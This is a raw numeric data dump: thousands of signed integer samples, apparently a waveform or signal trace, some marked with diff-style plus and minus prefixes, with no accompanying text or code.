+-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-14 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +110 +106 +103 +99 +95 +90 +84 +78 +72 +66 +59 +54 +48 +43 +38 +34 +29 +26 +23 +21 +18 +16 +13 +11 +9 +7 +6 +5 +3 +2 0 -1 -0 -0 -0 -0 -0 -0 -1 -0 -1 -1 -1 -1 -1 +-2 +-4 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-80 +-91 +-70 +-81 +-77 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +112 +108 +105 +101 +98 +93 +88 +82 +76 +70 +64 +57 +51 +45 +40 +35 +31 +28 +24 +22 +20 +17 +15 +13 +11 +8 +7 +5 +4 2 1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -133 -128 -124 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-18 +-18 +-17 +-18 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-102 +-80 +-91 +-70 +-82 +-77 +-73 +-70 +-66 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-19 +-19 +-18 +-18 +-18 +-18 +-17 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-14 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-14 +-12 +-13 +-14 +-14 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-14 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 121 116 -112 -107 -102 -96 +110 +108 +104 +100 +94 90 84 78 71 64 -59 -54 -48 -44 -40 -37 -35 -32 -29 -27 -25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -10 -9 -8 -7 -6 -6 -4 -4 -3 -3 -2 -2 --81 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --94 --87 --65 --76 --55 --66 --62 --58 --56 --51 --47 --44 --42 --39 --35 --34 --32 --30 --27 --25 --23 --22 --20 --18 --18 --17 --16 --14 --13 --12 --11 --10 --9 --8 --7 --7 --6 --6 --6 --5 --5 --5 --4 --4 --3 --4 --3 --3 --2 --2 --2 --2 --2 --1 --1 --2 --1 --1 --1 --1 --1 -0 -0 -0 -0 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -1 -0 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -2 -2 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -2 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -121 -118 -114 -109 -105 -99 -93 -86 -80 -73 -67 -60 -56 -51 -47 -42 -39 -37 -34 -32 -30 -27 -25 -24 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --94 --87 --66 --77 --56 --67 --63 --59 --55 --51 --48 --45 --42 --39 --36 --34 --32 --29 --27 --26 --24 --22 --20 --19 --18 --17 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -131 -126 -122 -118 -115 -112 -107 -102 -96 -90 -84 -78 -72 -66 -60 -56 -51 -46 -43 -40 -36 -33 -30 -28 -26 -24 -22 -20 -19 -18 -16 -15 -14 -12 -11 -10 -9 -8 -7 -7 -7 -6 -6 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --93 --86 --65 --77 --56 --67 --63 --58 --54 --51 --47 --45 --42 --39 --36 --34 --32 --30 --27 --26 --24 --23 --21 --19 --18 --17 --15 --14 --13 --12 --12 --11 --10 --9 --8 --8 --7 --6 --6 --6 --5 --5 --5 --5 --5 --4 --4 --3 --3 --2 --1 --2 --1 --1 -0 --1 --1 --1 -0 --1 --1 --2 -0 -0 -0 --1 -0 -0 -1 -0 -0 -0 -0 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -125 -122 -118 -114 -109 -104 -98 -93 -85 -79 -72 -67 -61 -57 +58 52 -48 -43 -40 -37 -34 -31 -29 -26 -25 -23 -21 -19 -18 -16 -16 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --86 --96 --89 --65 --77 --56 --68 --63 --58 --55 --51 --48 --45 --42 --39 --36 --33 --31 --29 --27 --25 --23 --22 --20 --19 --18 --17 --16 --15 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 -126 -121 -119 -116 -112 -107 -102 -96 -90 -84 -78 -72 -66 -60 -55 -50 46 -43 -39 -36 -34 -30 -28 -26 -24 -22 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -3 -2 -2 -2 -2 -2 -1 -1 -1 -0 -0 --1 --1 --2 --1 --1 --2 --2 --1 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --3 --3 --3 --3 --4 --3 --4 --4 --4 --4 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --85 --94 --88 --83 --77 --56 --68 --63 --58 --55 --51 --48 --44 --41 --38 --36 --34 --31 --29 --28 --26 --23 --22 --20 --20 --18 --16 --16 --15 --13 --12 --11 --11 --10 --9 --8 --8 --8 --7 --6 --6 --5 --5 --4 --4 --3 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -2 -1 -1 -1 -0 -1 -0 -0 -1 -1 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -2 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -0 -0 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -0 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -1 -0 -0 -0 -0 -2 -1 -1 -0 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -2 -2 -1 -0 -1 -2 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -3 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -1 -1 -0 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -126 -122 -118 -115 -110 -105 -98 -93 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 +42 37 -34 -31 +33 29 26 -25 23 -21 20 -18 17 -15 -14 +16 13 12 -11 -9 -9 +10 8 -7 6 -6 -5 -5 4 3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 +2 +0 +-1 +-2 +-3 +-4 +-6 +-6 +-7 +-8 +-8 +-9 +-9 +-9 +-10 -92 --85 --94 --87 --65 --76 --55 --67 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-103 +-98 +-92 +-69 +-81 +-77 +-73 +-68 +-64 -62 -59 -55 -52 --49 --45 --42 +-50 +-48 +-46 +-43 +-41 -39 +-38 -36 -34 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-20 +-19 +-19 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +112 +108 +103 +100 +95 +90 +84 +78 +72 +66 +59 +54 +48 +43 +38 +33 +29 +26 +22 +20 +17 +15 +13 +11 +9 +7 +6 +4 +3 +2 +0 +0 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-103 +-97 +-90 +-70 +-81 +-78 +-73 +-68 +-65 +-62 +-60 +-56 +-52 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-32 +-30 +-29 +-29 +-27 +-26 +-26 +-25 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-20 +-19 +-18 +-19 +-19 +-18 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-16 +-16 +-15 +-14 +-14 +-15 +-15 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 